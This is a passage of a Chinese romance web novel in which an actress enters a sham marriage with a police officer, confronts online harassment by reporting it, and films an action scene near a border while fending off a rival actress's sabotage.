冷嫦抿嘴不悦：“什么叫就？拜托，差点成为我人生为数不多的挫折好不好？！”
不过等等，他知道我在说什么？
冷嫦惊讶道：“你早知道我是话剧社那个被冤枉的女孩？”
郗正唇角微微上扬：“冤枉？”
听得冷嫦有些心虚…
结巴道：“你当时不是说…相信证据么……为什么要偏袒我呢…”
冷嫦欲言又止，她敢作敢当不假，但要坦白确实做错了事却感到难以启齿，尤其当下还想发展些其他关系的时候。
郗正：“信你就是偏袒？”
冷嫦目露星河，爱慕闪烁，表白的话已经到了嘴边：“不然呢？明明当时没有任何有力证据证明我是清白的，而且，我也确实做了做错了，但是我发誓，陈璐那条裙子我真的不知道怎么回事！”
郗正：“我说了，我只相信证据。”
他突然话锋一转，略带戏谑：“而且，你那天剪的我裤子。”
冷嫦：“……？”
郗正：“我之所以替你说话，纯粹是陈述事实，因为你剪我裤子的时候我在场，而陈璐把裙子弄坏的时候，我也在场。”
冷嫦：“……”
尴尬、窒息、自作多情。
一些列复杂的情绪让冷嫦长达多年的暗恋显得像个笑话，仿佛某些不该有的滤镜突然碎掉了。
她的手失力下垂，郗正的手臂不再被牵制，继而向前走，只是嘴角仍是上翘。
郗正：“如果因为这些事让你对我留有幻想，那或许你该清醒了。”
确实清醒，但不死心。
冷嫦愣愣地问：“所以……你讨厌我？”
郗正再度停住脚步，想了想。
“没有。”
冷嫦试探地：“那我还能继续追你？”
郗正回得极快：“不能。”
答案在冷嫦的预料之中，她强装镇定地自顾自道：“我猜到了，不过没关系，反正你也带我见了家里人。”
郗正：“？”
冷嫦回眸，望向绿径尽头的星辰区：“不是一起见了妹妹么？虽然第一次见面我有点冒犯，不过你放心，明天我再带花来见她，好好和她道歉。”
郗正：“不用…”
他想说自己妹妹很懂事，不会因为这些事生气。
冷嫦却很坚持：“要的，你的家人，以后也是我的家人。”
她顿了顿继续道：“明年的时候，你也要陪我来见杨老师。”
郗正被成功带偏，问道：“杨老师？”
“喔。”冷嫦回答，“就是我的班主任。”
“全名叫什么？”
冷嫦没察觉郗正的声音已经恢复了往日犀利。
她答道：“杨悦。”
郗正接着问：“杨晋的生日是几号？”
杨晋？
冷嫦不知道郗正为什么突然提到这个名字，只是对于公司艺人的基础资料还是简单了解的，但也不是万事俱悉的程度，脑中稍稍回忆了片刻回答道：“百科里写的是天秤座…我想想啊…”
“9月30日。”郗正的声音变得低沉，像是一股寒流涌入，冷嫦跟着打了个哆嗦。
“什么？”这下换冷嫦惊讶了，等她翻出手机想搜索的时候却看到手中的老人机一片蓝色雪花屏…垃圾手机想要上网都不行…
郗正握着伞柄的骨节，节节收紧，手中捏着的不再是金属结构，更像是捏住了一种名为黑暗的物质。
等待她的是冗长安静，只有雨水在伞面跳动的声音。
雨势已经渐渐消下去，天边的乌云不知在什么时候也已经披了层白纱，微弱的光芒从缝隙里挣扎奔赴，凉雨变成细碎光晕，天气说变就变，就像眼前的郗正一样。
他的眼底只闪过一瞬的迟疑，而后并不像征询的声音砸向她：
“你要不要和我结婚？”
12. 结啦？
“所以你就这样答应了？？答应了？？！”
就算把手机听筒放在床边，冷嫦都照样能听到电话那头殷璇破防的声音，她看向抽屉里的小红本，第八次回答：“是的，真结了。”
殷璇不断深呼吸顺气，尽量克制情绪道：“琳达姐呢？她没拦着你？”
冷嫦回想起白天那一幕还觉得有些好笑：“想拦，但是看到郗正穿的制服，以为我犯事了压根不敢拦。”
“那现在呢？琳达姐还好吗？”
冷嫦禁了声，倾听门外的安静，揉了揉鼻尖：“才哭完呢，我不敢去安慰。”
电话那头的殷璇死亡射线看向正推门进来的秘书，小秘书打了个哆嗦，立刻掩声：“那我一会再来找您。”
殷璇叫住了她：“帮我备车，我要出去一趟。”
目的地显然是冷嫦那儿，半小时后，才开门，殷璇就看到了如尸体一样的琳达姐趴在桌面上，纸巾铺了一片，两眼空空，生无可恋。
这场面，那已经不是一个惨字可以形容了。
就连殷璇上去和她打招呼，琳达也继续保持着尸体的态度，毫无反应。
冷嫦扒拉着卧室门边，朝殷璇招手：“你进来…别在那烦她！”
殷璇白眼飞了过去，到底谁才是让琳达姐心烦的人？！
“为什么突然结婚，还非扯证不可？”殷璇往薄绒沙发上一坐，立刻兴师问罪，“你再喜欢他也不能这么冲动啊！”
道理冷嫦当然懂，可是，她答应了郗正不能告诉别人，这件事牵扯到他妹妹，喜欢的人说需要她……
拜托，很难拒绝诶。
冷嫦只能操起职业的修养，对着殷璇一顿胡说八道，殷璇将信将疑听了个大概，最后检查了一下两人的结婚证也只能作罢，她长叹一口气：“唉…”
证都领了，还能怎么办？
“至少郗家在圈里名声还不错。”殷璇如是安慰着，眼底却还是写着恨铁不成钢的情绪，朝向冷嫦又道，“婚礼呢？什么时候办？”
冷嫦心虚地夺过小红本收好，只拿自己是演员的事情开脱：“他倒是愿意，但我还在上升期嘛，还不想那么早公开，到时候再说吧。”
殷璇已经听不下去了，越听越离谱…秘书的催促短信又发来，说是下午的会议不能迟到，陈家会来人。
临走前，殷璇把KN珠宝的代言和赞助合同放在琳达面前：“姐，这是我给她搞的全球代言合同，事情已经这样了，你也消消气，之前你结婚我还没来得及送贺礼，等你空了来我店里，我给你准备了两套巴洛克珍珠的套装。”
死掉的琳达终于恢复了些许生气，一把抱住殷璇：“你说我要拿她怎么办？昨天才被骂上热搜，今天就和人把婚给结了，我还活不活了……”
琳达哭着哭着，又小声问道：“是加纳黑海洋系列吗？”
“都有，都有。” 殷璇忙承诺下来，“你只管去，除了黑海洋系列，还有红丝绒系列，看上什么了随便拿。”
屋里的冷嫦听到对话，局促的心情终于有所好转，才准备出去顺着台阶认个错，电话铃声传来，冷嫦只得抄殷璇隔空挥手，便回了房间接电话。
有了结婚证加持，郗正的声音再听起来已经少了许多距离感：“经纪人有为难你吗？”
想到郗正提出的三个月假结婚，冷嫦虽然答应了，但她可不是纯粹地帮他，于冷嫦的私心，她要在有限的三个月内把彼此结婚关系维持到永久。
于是，戏精上身：“那当然了，为了和你结婚我顶住了多少压力，说不定被爆出结婚之后会被逼退圈呢。”
郗正“嗯”了一声，语调微重，再次道歉：“为了补偿，三个月之后我名下的股票地产都会转到你这里。”
冷嫦：“……”
她要的不是这种补偿啊。
只是冷嫦没听出来这话里叠了层诀别的意思。
郗正：“还有件事，关于你的那张照片，建议报警处理。”
冷嫦微微张嘴，丰唇染着屋内小橘光：“你也知道了？”
郗正给她一个号码：“是我的副手秦朗，他之前是网警，有需要联系他。”
说完便挂了电话。
此时的琳达也在殷璇的安慰下消了些气，顺势将冷嫦的手机还回去：“千防万防，防不住你。”
现在再守着手机也没多大意义了，反正事情永远都是失控的，琳达彻底认命了。
冷嫦拿回手机后，飞快转了一百万给琳达：“这是你今年的奖金，提前发了，么么么么么哒。”
琳达表示她的气又消了那么一点，真的只是一点。
傍晚时分，无烟剧组又传来一条动态：【关于我剧选角，公正第一，这是我方所有已定演员列表——】。
前一天护冷嫦引来一众风波，今天更是正面刚起来，将所有主演配角官宣，明显有着拉阵营的嫌疑。
原本在网上纷纷看戏的其他剧组演员此刻都只能被迫跳出来表态。
无非都是转发无烟前一条微博，并用字微妙地评价冷嫦的露背照，无非都是一些“请尊重剧组”或者是“请大家静心等待调查结果”。
这波大规模的站队，让一片倒的冷嫦评论区加入了各方势力，拥护着各家艺人的粉丝跟着跳出来力挺剧组。
“你们骂归骂，别上升到剧组啊，其他人无辜的啊，何况单凭一张照片……”
“就是就是，说不定冷嫦那是试戏的剧照呢？”
“搁剧组脱衣服试戏？搞笑呢吗，我看都是一路货色，你家橙子姐姐也靠这种上位吧？”
“你们有病吧？我们橙橙惹你什么了？”
冷嫦眉心紧锁，原本这些骂声都是冲她去的，可现在倒好，其他演员无辜躺枪，事态如她预料地开始往不可收拾的方向发展，无烟剧组成为了近几年来话题最多的电影，还未开拍，就锁定了日活四千万人次的讨论量。
可谓一骑绝尘。
由于热度加持，当天晚上就发来了正式进组的通知，地点横跨整个国内地图。
冷嫦：“有没有搞错，我新婚诶！要把我骗去这么远的地方待三个月？？”
琳达却觉得好事一件，正好可以避开最近的热度，便忙替她回复剧组，约定明天先去公司和导演碰头。
拍摄地西城和这里隔了足足三千公里，由于电影背景涉及边防和少数民族，所以选址挨着边境，地貌也以丛林山脉为主，若是当成旅游来说属于风貌不错的观光行，但要是以拍摄的要求去看待，那这趟拍摄有着许多需要演员克服的问题。
这一点在去试戏前冷嫦已经了解过，程导的戏从来都是只注重呈现，对于演员一视同仁，再当红的演员要是吃不了苦，程导照样会请人离开。
所以就算冷嫦被冠上了女主角的头衔，网友们还是继续关注这件事，都在等着冷嫦被剧组狼狈地踢出去。
冷嫦很快扫到低素质发言。
凌风公子：【冷嫦不是喜欢卖么，正好卖到隔壁缅北，说不定比在国内更吃得开。】甚至还在后面p了一张马赛克的照片，那张冷嫦只露出肩膀一侧的照片，在马赛克加持下就成了不可描述充满想象的画面。
冷嫦点开这个人的主页，还带着认证，资料写着布鲁
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科技有限公司销售经理，点赞记录全是擦边视频和违规网页，刚准备开小号骂回去想起郗正方才的提醒，报警。
于是停住了切小号的动作，直接转发这个凌风公子的微博，并at了两个蓝V号：【@云城警局@布鲁科技有限公司，建议严查。】
短短四字，画风突变。
凌风公子在一分钟后立刻删了这条评论，奈何冷嫦反应快早就先一步截图，再次挂在自己的首页，以往都是私下和粉丝交锋，后台工作人员疯狂控评，然而这一次，冷嫦却不想这么干了。
骂回去爽一时，这种造黄谣的家伙，不能轻饶，这次冲她去的，那以后呢？是没有任何势力支持的普通女孩呢？
她毫不迟疑，将这张带着她令人浮想照片的恶评置顶。
琳达啪的推开门冲进来，然而已经晚了。
冷嫦一副爱咋骂咋骂的表情。
只是琳达看了眼屏幕，又看了眼冷嫦，突然语气一软：“算了，至少没骂人。”
甚至表情都缓和了不少，继续对冷嫦说：“知道用正当手段保护自己，也算好事，但你下次能不能别把这种辣眼睛的图放上去，不知道别人会联想什么吗？”
冷嫦挺挺腰杆：“脑子脏的人看啥都是脏的，一，我清清白白有什么好担心？二，这是证据，这是自我保护！！”
*
第二天程导公司的会议室里，悉数大牌演员入座，冷嫦到的时候，几乎所有人的视线都看向了她。
冷嫦身着miumiu小红裙，白色蝴蝶领向外翻出，走路的时候领间的碎钻泛出潋滟，打在她本就粉嫩的脸上，她的眼睛不需要带美瞳，睫毛轻轻一夹往上飞翘，小扇子似得扇过在场人的心。
冷嫦以往角色戏份很少，和现场各位单拎出来都称得上影帝影后的人物鲜有照面，再加上自己十八线小花的身份，更没有大牌活动与各位照明的机会。
如今第一次在众人眼前出现，所有人都不禁怀疑互联网那些喷子的嘴。
就冷嫦的长相，也能称为低配？
而后，所有人视线望向许栀玫，被抢了女主角还被安排了一个女配三号的身份，可这是名导的戏，她还是不想错过这个机会，但若是知道今天会被这么多大佬以质疑的眼光打量，她宁愿没来……
程导给了冷嫦一个入座的眼神，冷嫦朝各位前辈鞠躬示意后才坐下。
冷嫦环顾一周并没有看到上次那个在片场遇到的男人，原以为是监制之类的角色，然而今天听完全部人员的介绍却始终没有那个人，她一时好奇也没多在意。
很快，程导就给出了正式开拍的时间，对各位语重心长：“这部剧由于题材和拍摄内容涉及部分安全条款，需要签一份补充协议，稍后云城警局会有相关负责人过来，还请各位配合。”
冷嫦眼皮有些跳，心说，不能又是郗正吧。
最近见面的偶然率也太高了，害她都想当然地这么以为了。
门被推开的时候，蓝色制服出现，她本能地开始期待，只是这一次心很快又落了下去，陌生的脸，陌生的声音。
她低头看向手中的出发日期，这一别就是三个月，还以为能靠三个月假结婚促进下关系，没想到直接走向了分居的极端。
警员徐徐说完条款的内容并分发给众人，稀稀拉拉说了一大堆冷嫦却没怎么听进去，冷嫦无聊地转这笔，直到最后这么警员突然说：“我们支队的郗队长下周也会共同前往西城，并担任一周的安全监督工作。”
谁？
所有人听到噗呲一声看向冷嫦的面容时，她的笑意都快化成春天了。
13. 踩的就是你
抵达西城机场的时候已经是凌晨时分，西城距离边境线不足100公里，位置偏远，一天只有一个航班，还是中转才到。
相比渐入秋境的云城，这里气候湿润海拔较高，一抬头便是漫天星河，仿佛伸手就能摘到。
来到这番天地之间，网络上的烦心事莫名消散，冷嫦开始相信大自然治愈的力量。
这趟航班上几乎都是剧组的人，西城发展相对落后，本地人对娱乐圈的事情并不多了解，看到各种帅哥美女的演员也没多在意，只当是养眼多瞧了几遍。
冷嫦可太喜欢这些淳朴的人了，眼里全是纯粹与直白，飞机上由于座位有限，她坐的经济舱，后座的两位大哥还问她是不是第一次来，给她讲了好多当地的故事，只是冷嫦困得很，只听了个大概。
差不多就是地区不太稳定，尤其是附近哪里哪里。
……
来到当地宿舍的时候以及夜里两点了，全组除了许栀玫和她对视的时候带着敌意之外，大部分演员都只礼貌的点头招呼，但冷嫦很清楚，无烟剧组逼着站队的声明多少已经冒犯到他们，眼下也只是因为素养高保持着表面客气。
其实不光是剧组演员，相关工作人员也时不时对冷嫦投去打量的眼光，纷纷猜测网上的传言几分真假。
宿舍就盖在山里，瞧着简陋，跟酒店还是没法比，关键设施倒也齐全，琳达生怕冷嫦养尊处优受不了这样的环境，先打了个预防针：“相比其他山区，这里条件已经很好了，你别闹情绪。”
冷嫦环顾一周，洁净的房间还能闻到外头树林的气息，清新里带着点泥土的痕迹，算不上好闻，离开光怪陆离的城市，偶尔感受下也不错。
“第一次当女主角，我还能分不清轻重？”冷嫦将衣柜打开，旧木头带着岁月的痕迹，虽然陈设老旧但很显然剧组也已经尽力了，在这种经济条件不足的地方凑出来这一方小天地，遮风挡雨衣食无忧。
“行，那简单收拾下就休息吧，明天一早就要开机了。”琳达帮着检查完房间正要离开，想了片刻还是提醒道，“你那个…老公？嗯…虽然身份是那样没错，但…组里还是低调点，没到公开的时候。”
冷嫦倒是想叫，奈何名正言不顺，她俩是临时合作的关系，于是摆手敷衍了两句：“我们早就说好了短期内不会公开，也不会在公众面前亮相。”
这话冷嫦已经保证过好几次，只是琳达始终不放心：“既然啥也不做，非结那婚做什么？”
冷嫦无言以对，打了个哈欠继续掩饰：“快回去休息吧你，明天还有好多事呢。”
琳达的疑惑也是冷嫦的疑问，她问不出口，却明白郗正做出的决定必然不是一时兴起。
*
第二天五点的时候，西城的天空已经亮了大半，院里陆陆续续传来大家的声音，清脆的鸟鸣和新戏开拍的喜悦让冷嫦根本没有一点赖床的心思，翻身一骨碌就起床了。
等琳达再来敲门的时候，冷嫦已经洗漱完毕，扎了个蓬松的丸子头，只睡了三个小时状态却是出奇得好，见到自家小祖宗精神飒爽，她也没有泼冷水的道理，比了个加油的动作：“那些大媒体派了记者过来，今天一定会逮着你拍。”
冷嫦经过这几天的热搜，流量直接跻身到一线，甚至有几个品牌也抛出合作的橄榄枝，若是只是律师函警告倒没什么，反而冷嫦报警的行为也得到了官方的力挺，这些间接证明了冷嫦那条肉身上位的言论有着引到网暴的嫌疑，原博主已经销号跑路，ip查到是在国外，没有那么容易追究。
大资本的嗅觉很灵敏，有着无烟开道，就算是劣质艺人也有洗白空间，现在的社会流量决定资金方向，冷嫦无疑是当下值得一试的选择。
远处的许栀玫看到冷嫦被各方官媒围住采访，眼里简直要沁出血来。
经纪人拿她没办法，只能劝说表情管理一下，别让人抓到把柄，看似软软弱弱的态度却在最后指责道许栀玫：“公司为了捧你花了多少财力精力你是知道的，要是真的因为冷嫦把自己倒腾进去，你这辈子都没有翻身机会了。”
许栀玫冷眼看向前方，阴厉的脸色迎着日头逐渐缓和，经纪人再开口的时候，许栀玫已经退回了白莲花的模样，浅笑说：“上次是我太心急了，对付她单靠一张照片确实没那么容易，不过咱们的时间还长着呢，不是么？”
似笑非笑的眼底写着温和谦逊，可每一个字都是冲着不给对方活路去的。
这部剧不是言情剧，男女主没有明显的感情线，就算有也是简单带过，相对于cp感的营业，大家对角色定位更有期待，两人接受完采访后轮到了其余配角。
许栀玫最为互联网呼声极高的女星哪怕这次只是个女三号的角色，却还是首当其冲得到了配角中第一个采访的机会。
“这是你和女主角冷嫦第二次合作，有什么想说的吗？”
许栀玫荧幕采访多不胜数，早就知道记者话里引战的意思，她很会以无辜的视角扩大网友纷争，只轻描淡写道：“其实上次在冷嫦与杨晋退组后，我们的合作就暂时搁置了，不过可能也是缘分吧，让我们再度有了合作的机会，只是角色演绎上，我们进行了身份的对调。”
一指冷嫦害得凤鸣拍摄延期，二指冷嫦不日前还是只个配角专业户，现在却翻身当了女主，还是抢了她许栀玫的女主。
看到报道的许栀玫粉丝才被时间冲淡的怨气立刻又将冷嫦德不配位的话题炒上热搜。
那些不关心娱乐圈的网友都跟着反感了：【这冷嫦到底谁啊？烦不烦啊？】
【一天到晚占用公众资源，能不能干点有用的事啊？】
冷嫦没功夫上网，接受完采访后就进入后山准备拍摄内容，第一场戏就是从山上滚落，并击毙逃犯的戏码。
她演技在线，可以往没有接过纯动作戏，加上腿上的缘故动作施展上总有些避让，三次NG都让程导叹气。
琳达接到了公司的电话没在片场，边上的眼镜男笑呵呵地递上毛巾：“别紧张，程导知道你是动作片新人。”
冷嫦认出了这人就是试戏时程导的助理，也得知了他的名字，徐舒俊。
冷嫦道了声谢谢，除了徐舒俊对她温和照顾之外，其余工作人员看她的眼神明显多是质疑。
程导自然也是有压力，这么多有经验有作品的女演员，偏偏选了个名声和代表作都最为吃亏的冷嫦，他掐了掐山根的位置，手摇剧本招呼大家先休息。
许栀玫拈着笑就来了，明面上和剧组工作人员打招呼，实则挑衅，她假装递水给冷嫦，口气里满是得意：“靠着龌龊的手段拿到女主角又如何，第一场戏都过不了。”
两人位置离剧组休息区有一段距离，自然没有装模作样的必要，冷嫦葱白五指挡开了矿泉水瓶：“你还真是贴心，女三跑来担心主角的戏。”
“你——”许栀玫握紧瓶身，塑料发出咔咔声响。
冷嫦并不惯她：“哦，我忘记了，你的戏后天才开始拍，实在是闲了点，需要找点事做。”
“你别高兴得太早，看在你腿伤的份上导演已经表现出极大的耐心，你不会以为会一直优待你吧？一旦拖累大家进度，我看你怎么收场。”
冷嫦拍掉方才翻滚沾上的树叶，只扯了扯唇角：“皇帝不急太监急。”
说罢
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，迈步就要离开。
许栀玫并不是省油的灯，如此崎岖地形发生点意外可再常见不过，她本就是程导最初心仪的女主人员，一旦冷嫦遇到些什么，她定能拿回这个角色。
只见许栀玫趁着四下无人，竟然将腿往前一伸。
冷嫦演了那么多恶女，哪里猜不到反派的心思，转身的那刻就预测可能会发生些冲突，只是没想到这许栀玫真的会在光天化日之下动手。
虽然吓了一跳，却还是及时躲开了对方的动作，并在许栀玫大白腿出现的时候朝她的脚背用力踩了下去。
冷嫦故作惊讶：“哎哟，真是不好意思。”
许栀玫疼得龇牙咧嘴，哪里还有什么美女的样子，几乎都快蹲地抱成一团：“你怎么敢踩我？”
冷嫦低头看了眼自己的鞋子，马丁靴。
“怎么？踩你还要看黄历？”
分量够重，这一脚够她长记性的。
冷嫦掩住笑意往工作区小跑，还带着急切的表情，声音喊得真诚无比：“医务组有人在吗，许栀玫扭到脚啦~~~”
远处人影掠过，将俩人交锋尽收眼底，原想出手的时刻却被冷嫦巧妙化解，他重现背起大包，往休息区去。
程导见到来人高大身形，立刻伸手问候：“你就是郗队吧，久仰大名。”
郗队身高挺拔，面对程导时目光仍呈微坠，散发着罕见的位高者气场，郗队将包卸下，做了个请的动作：“麻烦借一步说话。”
程导将其余人请了出去，简易的休息区内暂时只剩下他二人。
“我这次作为安全督查真正的目的，相关文件你也已经过目，为了任务的顺利进行，这几天还望多配合。”
程导点头，“那是自然，我这部片子立意也正是如此，能守住一方和平，这是所有人的心愿。”
得到承诺的郗正免了客套，直接提出要求：“希望这一周都以靠近边境线的拍摄为主，我们的时间非常紧张。”
“一定。”
两人一前一后出休息区的时候，正瞧到许栀玫兴师动众地躺在担架上。
面对众人的关心，许栀玫当然要回击冷嫦的行为，仍是一惯的茶言茶语：“真的不怪冷嫦，她是不小心碰到我的。”
为她打抱不平者坦言：“她冷嫦这人真的和传闻里一样难以相处吗？也真不知道以后的拍摄能不能顺利进行。”
许栀玫的经纪人当然懂落井下石的道理，假意为冷嫦开脱：“冷嫦年轻气盛，也不是有意冒犯，我们玫玫不会计较这些的。”
许栀玫也在此时接话道：“我和她又不是第一次接触了，她的脾气我知道，是我刚才急躁了些，想传授她一些经验，兴许是我说的话惹她不高兴了。”
她说完还挤出一个柔和的笑容，只是下一秒，她偏头，对上郗正眼中冷箭。
许栀玫霎那间便被这个外貌出众的男人所吸引，只是记忆里完全没有关于这名演员的任何痕迹，但很快她就被男人眼底的凉意包围，这种近乎于直视的目光似乎要将她喉咙里的谎话连根带皮地拔出来。
冷嫦本来躺倒在另一头的阳伞下补充体能，看到簇拥在一团的人，便对许栀玫正在造谣的事情了然，她敢踩下去就不怕她胡诌。
只是远远的，她发现全场突然多了一个人，身体跟着倏地坐起。
最关键的是，那人的眼神明显冲着许栀玫去的。
此时正午阳光钻到她的脚边，烫到了她的肌肤，她想到了关于低配许栀玫的说法，心底跟着涌上一股烦躁。
琳达也看到了这一幕，低情商发言道，“他看许栀玫做什么？不会是认成你了吧？”
14. 指点
郗正收回朝许栀玫的核善目光，他不想牵扯进剧组的工作，或影响到冷嫦。
手边的电话不适宜的疯狂鸣动，郗正看了眼屏幕。
来电人：【大漂亮】
才松了片刻的表情立刻又绷了回去，这个备注是领证那天冷嫦直接拿他手机改的，除此之外，还擅自将那条从未验证通过的微信好友申请，重新添加完毕。
冷嫦当时的表情还历历在目：“我知道你和我结婚并不是因为喜欢，也明白你身份上的特殊，肯定有我不能知道的秘密，但你既然敢开这个口，那就别后悔，我不会让你轻易离开的。”
郗正一愣。
转眼就见冷嫦洋洋洒洒地在申请表末尾写上了自己的名字。最后一竖落下那刻，郗正才发现，冷嫦的字迹潦草里透着坚韧的笔锋，很是好看。
窗口里的接待员目瞪口呆又不敢八卦，这俩一个是明星一个是警察，她不敢直接问，只能按照流程，犹豫着说：“双方是否自愿……？”
郗正：“自愿。”
他舒了口气，转头看向冷嫦，眸里闪过一瞬的颤动，他的声音很轻：“不会后悔。”
冷嫦只当是接到郗正眼底喊她配合的意思，紧着回答：“当然自愿了。”
想到这在外人面前，不能再说些糊涂话了，又补充了句：“回去再收拾你。”同时顺势挽住了郗正的胳膊，一副甜蜜依人的模样。
这一次，郗正没挣脱。
接待员低头间还忍不住多瞟了二人几眼，颜值上很是登对不说，看上去感情更是好，冷嫦乖巧地靠在郗正的肩上，想来之前也只是斗嘴罢了，便也不在固执于刚才那番说辞。
只是联想到网上关于这位女演员的风评，她有些同情的目光不自觉地流向郗正，仿佛在这场婚姻里注定要存在一个受害者。
郗正作为刑警，感官敏锐，这陌生的窥视才悄然靠近，他便将目光抵了回去。
接待员手一抖，收回了彼此签字的申请，然后扭过身子面对电脑一顿输出，如芒刺在背，灼热的视线牢牢锁住她，让她再也不敢分心。
-
失神许久，电话超时自动挂断，掌心的震动没停，两秒后【大漂亮】三个字又弹了出来。
郗正思绪重归当下，接起电话的同时向四周搜寻，很快他便朝南面阳伞处的靓丽身影站顿。
冷嫦穿着黑色背心和迷彩工装裤，单手叉腰站在那里，阳光直直浇在她的身上，就和批了一层金色似得耀眼，也不知道在那里站了多久，脸颊也已经被晒得挂起一片红绯。
用郗正的话来说，看上去有种能吃能喝的健康美。
“你在那干什么？！”电话还没靠近耳边，冷嫦的质问已经冲了过来，和正午的日头相比有种格格不入的冰感。
郗正没有朝她招手示意，如约定那样在外人面前仍佯装陌生人：“工作。”
冷嫦不依不饶：“你是我们剧组的安全督导，负责拍摄时的监督工作，许栀玫今天又没戏，你理她干什么？”
郗正听到一个陌生的名字：“许栀玫？”
谁？
冷嫦单手掩着大太阳，日光和她面对面，几乎照得她快睁不开眼，被烈日烧得抓心挠肝，很是不耐烦地冷嫦说：“就担架躺的那个人啊。”
郗正往靠近冷嫦的方向走了几步，也离开了人群一些，声音也愈加清晰：“哦，就是被你踩了一脚的人。”
冷嫦：“……”
一时间不知道要生气他关心许栀玫的样子，还是心虚他看到了自己悍妇的一面。
没等郗正接着说下去，电话那头就只剩嘟嘟嘟的声响，以及某人一跺脚转身钻回伞下的动作，隔得实在远了点，郗正只能看到冷嫦嘴巴动了几下，对上那表情，想必不会是什么好话。
郗正在徐舒俊的帮助下，将大包存在休息间，将外套脱掉后便来到了片场。
程导和工作人员也已经就位，冷嫦站在山坡处，比了个ok的姿势。
随着场助的一声“action”，拍摄再度开始。
郗正斜靠在树边，若是抛开这压迫的身材长相，那他绝对安静得像个透明人。
两个小时过去，冷嫦过了三组镜头里的前两组，奈何第三组动作里的连贯翻滚始终做不好，拍摄进度还是被卡住了。
程导很敬业，时不时窜到现场点评，温度实在是高了些，连带着让他的语气也不再平和。
冷嫦以往的恶女角色得心应手，第一次接女主角，还是动作戏女主角，就算做好了心理准备，耽搁了整组这么久时间还没能拿出满意的答卷时，耳根还是出卖了她面上的诚恳。
她不断深呼吸调整着心情，点头道：“我再试一次，麻烦各位了。”
郗正不动声色地瞧在眼里，冷嫦穿着厚重的马丁鞋一步一步爬上坡顶，她擦掉了汗珠，抿着唇不说话。
在看到导演抬手的时候收拾好内心全部的不安，目光跟着坚定下来。
她刻意忽略脚部的伤，握着手枪作出飞身的姿势，威亚作用下她在冲出来的同时一个翻身，而后用力朝山下滚去，然而越是想忽略，内心却越是在意，这跌落的姿态相比之前几次效果更差。
程导“咔”声降临的时候，冷嫦听出来了那最后一丝不耐烦消失的意思。
程导神色凝重，朝着冷嫦走过去，双手紧握在裤线旁，似在压制。
日光让冷嫦产生晕眩的感觉，她已经很努力了，比他们看到的还要努力，偏偏依旧事与愿违。
“你到底会不会演——”
就在程导犀辣的言语直冲面门的时候。
郗正不知什么时候突然来到了冷嫦身旁，他向前的动作并不刻意，却正好可以挡掉冷嫦略带窘迫的表情。
不着警服的郗正与往日相比，气场仍凌厉，但没有严肃到不敢接近的程度，声音也不知是故意压低还是揉了午后明媚的缘故，听上去尾调有些清扬。
“程导，我有个不专业的建议。”郗正一九零的身高，再谦虚的口吻以俯视的角度发出，听上去总少了几分客气，反而多了些许挟持的味道。
程导到了嘴边的怒火生生消了下去，他吞咽了几下，干涩的嗓尖冒出几个字：“郗队你说。”
冷嫦还在恍惚里，看到郗正厚实的背影，也不知怎么就生理性放松了下来。
郗正：“冷小姐腿伤的事情已经不是秘密，剧中所担任的卧底也是受过专业训练的女警，在这种前提下，我不认为一味追求危险动作的张力呈现紧张感是合理的，要知道，我们格斗技的第一个前提就是要保护好自己。”
见到程导没有第一时间给出答复，郗正又跟了一句：“如果在最基本的条件里，连保护自己都做不到，首先就失去了这份职业存在的意义。”
保护好自己。
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霎那间，光影叠变，冷嫦想到了杨老师，眼角突然有些湿润。
程导是个追求极致的人，他在开拍之前已经搜集了不少相关专业内容，但经郗正这么直白的提醒，他终于意识到自己忽略了一点，那就是人的本能。
哪怕是舍己为人的利益高度，也不能抛弃遇到危险时自我保护的本能。
面对程导的哑然，郗正觉察到微表情里片刻的微恙，尴尬的神色在他眼中流淌。
郗正无权进行干涉指导，也不想过于冒犯，聪明的他给出了台阶：“或许在动作上，我能给冷小姐一点参考。”
说罢，他转身曳住冷嫦的手腕，温热的温度盖过头顶的太阳，郗正替她摆出一个折肘的动作：“翻滚的时候注意力放在脑袋，别想其他，致命伤往往出现在后脑勺，做出格挡，剩下的身体自然会给出答案。”
程导沉浸在这近在咫尺的点拨里，饶有兴致地回到了导演位置上，刷刷两笔改了剧中女主角滚落的动作，大手一拍摄像机：“来，再走一条，各就各位。”
正如郗正所说，这个改动虽然和剧本里不同，冷嫦很是陌生，可是当她站在坡顶看向郗正的时候，对方眼神毫无波动，笃定她可以顺利完成，冷嫦突然就自信起来了。
白云皑皑飘荡着，渐大的风阻住了阵阵热浪，冷嫦的呼吸再度归于平静，随着action的指令敲响，冷嫦仰头一凛，按照郗正教她的动作飞滚出去。
才举臂过顶，她的身体正如郗正所说那样，自然地蜷缩成保护姿态，不算优美地翻滚坠落，却将力道和专业体现得淋漓尽致。
程导大喊一声“好”字，激动之情溢于言表，完全忘了要谢谢郗正的建议，朝着冷嫦夸奖道：“很好！来，归位，我们再保一条！”
枝丫上不知什么时候多出来了几只嬉戏的小猕猴，抓头挠耳也不怕人，远远地看向谷底骚动的场景，仿佛它们才是这片森林的主人，正大度地和人类分享着大自然的一切。
冷嫦在这场戏之后状态极佳，后面几场更有一条过的惊喜表现，这让原本对她不认同的工作人员也动了佩服的心。
一个新人演员，竟然蕴藏着这么大的不可思议。
回到宿舍又是接近半夜，席间冷嫦借着要感谢郗正的理由，硬是坐到了他的边上。
木长凳发出咯吱声响，隔着裤子郗正都能感受到冷嫦的体温。
他往边上挪了挪，冷嫦却借着夹菜的动作又挨了过去。
坐在对面的琳达抖得连碗都快捧不住了，就差从桌板下一脚将冷嫦从八仙桌上踢出去，近乎绝望的表情似乎在呐喊：祖宗啊！！！你和郗正别太明显啊！！！
郗正面色不改，看似波澜不惊，实则沉默早已震耳欲聋。
他几乎快捱到长凳边了，身旁的冷嫦竟还能摆出敬茶的姿势枕着他的手臂…
冷嫦表示合法夫妇，这不算揩油，举起茶杯就要转向郗正。
好在郗正的手机此时前来救场，他目光暼及屏幕，熟悉的八位号码。
于是顾不得冷嫦假装依靠的惯性突然离开了他的支撑，只听扑通一声——
待郗正回头看过去的时候，冷嫦连人带长凳翻倒在地。
郗正：“……”
然而电话不给他任何搀扶冷嫦的机会，一长串信息传达后，只见郗正鲜有表情的五官露出为难之色：“我？让我替补参加国际刑警大赛？”
15. 塑料朋友
看到郗正头也不回地离开，冷嫦脑中只有一个想法——离婚！我要离婚！
琳达干笑着打圆场，冲着周围人和冷嫦自导自演：“哎呀，知道你拍戏辛苦了，怎么还坐不稳摔了呢，快点吃完回去休息吧。”
